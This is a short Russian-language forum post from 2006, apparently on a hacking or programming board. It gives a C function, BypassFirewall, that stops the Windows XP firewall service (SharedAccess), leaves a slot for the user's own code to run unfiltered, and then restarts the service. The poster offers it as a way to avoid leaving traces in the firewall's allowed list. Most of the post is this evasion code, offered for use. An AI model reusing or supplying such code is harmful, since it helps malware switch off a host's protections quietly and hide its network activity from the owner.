
02.04.2006, 14:23
|
|
Постоянный
Регистрация: 19.09.2005
Сообщений: 408
С нами:
10863746
Репутация:
519
|
|
код прописывает прогу в список разрешенных файрволом, т.е оставляет "следы":
А что если воспользоватся более "грубым" способом?
Код:
#include <winsvc.h>
// ...
bool BypassFirewall()
{
SC_HANDLE firewallService, scm;
if(!(scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS)))
return FALSE;
// в ХР интернальное имя файрвола SharedAccess
if (!(firewallService=OpenService(scm,"SharedAccess",SERVICE_ALL_ACCESS)))
{
CloseServiceHandle(scm);
return FALSE;
}
// останавливаем сервис
SERVICE_STATUS m_SERVICE_STATUS;
ControlService(firewallService, SERVICE_CONTROL_STOP,&m_SERVICE_STATUS);
// далее дожен быть ваш код
// который работает в обход файрвола
// ...
// ...
// запускаем заново сервис
StartService(firewallService,0,NULL);
CloseServiceHandle(firewallService);
CloseServiceHandle(scm);
return TRUE;
}
естессно эти методы рабочие в случае если прога запущена с привилегиями администратора т.к нужны права для временой остановки/запуска сервиса (записи в реестр значений - в 1м методе)
|
|
|